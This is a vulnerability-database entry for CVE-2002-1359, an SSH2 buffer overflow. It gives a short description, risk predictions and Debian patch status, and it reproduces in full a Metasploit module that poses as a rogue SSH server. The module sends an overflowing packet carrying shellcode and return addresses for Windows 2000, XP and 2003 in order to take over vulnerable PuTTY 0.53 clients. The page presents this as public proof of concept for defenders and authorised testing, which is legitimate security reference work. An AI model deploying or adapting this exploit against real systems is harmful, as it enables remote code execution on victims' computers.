CVE-2002-1359

unknown
Published — · Modified —
CVSS v3
CVSS v4 NEW
not yet in upstream
VIR risk
1.0

Description

Multiple SSH2 servers and clients do not properly handle large packets or large fields, which may allow remote attackers to cause a denial of service or possibly execute arbitrary code via buffer overflow attacks, as demonstrated by the SSHredder SSH protocol test suite.

Predictions

Exploit likelihood
90%
Patch ETA

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-16463 remote windows verified text · 3 KB
Metasploit · 2010-06-15

PuTTy.exe 0.53 - Remote Buffer Overflow (Metasploit)

text exploit Source: Exploit-DB
##
# $Id: putty_msg_debug.rb 9525 2010-06-15 07:18:08Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::TcpServer

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'PuTTy.exe <= v0.53 Buffer Overflow',
			'Description'    => %q{
					This module exploits a buffer overflow in the PuTTY SSH client that is triggered
				through a validation error in SSH.c.
			},
			'Author'         => 'MC',
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9525 $',
			'References'     =>
				[
					[ 'CVE', '2002-1359' ],
					[ 'OSVDB', '8044'],
					[ 'URL', 'http://www.rapid7.com/advisories/R7-0009.html' ],
					[ 'BID', '6407'],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'    => 400,
					'BadChars' => "\x00",
					'MaxNops'  => 0,
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows 2000 SP4 English', { 'Ret' => 0x77e14c29 } ],
					[ 'Windows XP SP2 English',   { 'Ret' => 0x76b43ae0 } ],
					[ 'Windows 2003 SP1 English', { 'Ret' => 0x76aa679b } ],
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Dec 16 2002',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptPort.new('SRVPORT', [ true, "The SSH daemon port to listen on", 22 ])
			], self.class)
	end

	def on_client_connect(client)
		return if ((p = regenerate_payload(client)) == nil)

		buffer =
			"SSH-2.0-OpenSSH_3.6.1p2\r\n" +
			"\x00\x00\x4e\xec\x01\x14" +
			"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
			"\x00\x00\x00\x00\x00\x00\x00\x00\x07\xde" +
			(((((rand_text_alphanumeric(64)) + ",") * 30) + rand_text_alphanumeric(64) + "\x00\x00\x07\xde") * 2) +
			(((rand_text_alphanumeric(64)) + ",") * 2) + rand_text_alphanumeric(21) +
			[target.ret].pack('V') + make_nops(10) + p.encoded +
			(((rand_text_alphanumeric(64)) + ",") * 15) + rand_text_alphanumeric(64) + "\x00\x00\x07\xde" +
			(((rand_text_alphanumeric(64)) + ",") * 30) + rand_text_alphanumeric(64) + "\x00\x00\x07\xde" +
			(((rand_text_alphanumeric(64)) + ",") * 21) + rand_text_alphanumeric(64) + "\x00\x00\x07\xde" +
			(((((rand_text_alphanumeric(64)) + ",") * 30) + rand_text_alphanumeric(64) + "\x00\x00\x07\xde") * 6) +
			"\x00\x00\x00\x00\x00\x00"

		print_status("Sending #{buffer.length} bytes to #{client.getpeername}:#{client.peerport}...")

		client.put(buffer)
		handler

		service.close_client(client)
	end

end
EDB-1788 remote windows verified
y0 · 2006-05-15

PuTTy.exe 0.53 - Validation Remote Buffer Overflow (Metasploit)

Source code queued for fetch — refresh in a moment.

Metasploit modules

PuTTY Buffer Overflow
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OS impact

debian Debian Fixed 5 releases
VersionStatusFixed in
trixie Fixed 0
sid Fixed 0
forky Fixed 0
bullseye Fixed 0
bookworm Fixed 0

References

Community-verified mitigations for this CVE will appear above when contributors publish them.

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